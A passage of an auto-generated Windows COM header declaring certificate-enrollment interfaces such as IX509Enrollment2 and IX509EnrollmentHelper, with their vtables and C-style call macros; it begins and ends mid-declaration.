*Initialize )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse2 )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestIdString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509Enrollment2Vtbl;\n\n    interface IX509Enrollment2\n    {\n        CONST_VTBL struct IX509Enrollment2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment2_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment2_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment2_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment2_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment2_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment2_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment2_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment2_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n\n#define IX509Enrollment2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509Enrollment2_InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags)\t\\\n    ( (This)->lpVtbl -> InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags) ) \n\n#define IX509Enrollment2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509Enrollment2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509Enrollment2_get_RequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestIdString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0083 */\n/* [local] */ \n\ntypedef \nenum WebEnrollmentFlags\n    {\tEnrollPrompt\t= 0x1\n    } \tWebEnrollmentFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0083_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0083_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentHelper_INTERFACE_DEFINED__\n#define __IX509EnrollmentHelper_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentHelper */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab351-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentHelper : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddPolicyServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddEnrollmentServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Enroll( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentHelper * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddPolicyServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddEnrollmentServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        END_INTERFACE\n    } IX509EnrollmentHelperVtbl;\n\n    interface IX509EnrollmentHelper\n    {\n        CONST_VTBL struct IX509EnrollmentHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentHelper_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentHelper_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentHelper_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentHelper_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentHelper_AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate) ) \n\n#define IX509EnrollmentHelper_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentHelper_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n#define __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentWebClassFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentWebClassFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab349-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentWebClassFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentWebClassFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentWebClassFactory * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown);\n        \n        END_INTERFACE\n    } IX509EnrollmentWebClassFactoryVtbl;\n\n    interface IX509EnrollmentWebClassFactory\n    {\n        CONST_VTBL struct IX509EnrollmentWebClassFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentWebClassFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentWebClassFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentWebClassFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentWebClassFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentWebClassFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentWebClassFactory_CreateObject(This,strProgID,ppIUnknown)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIUnknown) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n#define __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n\n/* interface IX509MachineEnrollmentFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509MachineEnrollmentFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab352-217d-11da-b2a4-000e7bbb2b09\")\n    IX509MachineEnrollmentFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509MachineEnrollmentFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509MachineEnrollmentFactory * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper);\n        \n        END_INTERFACE\n    } IX509MachineEnrollmentFactoryVtbl;\n\n    interface IX509MachineEnrollmentFactory\n    {\n        CONST_VTBL struct IX509MachineEnrollmentFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509MachineEnrollmentFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509MachineEnrollmentFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509MachineEnrollmentFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509MachineEnrollmentFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509MachineEnrollmentFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509MachineEnrollmentFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define 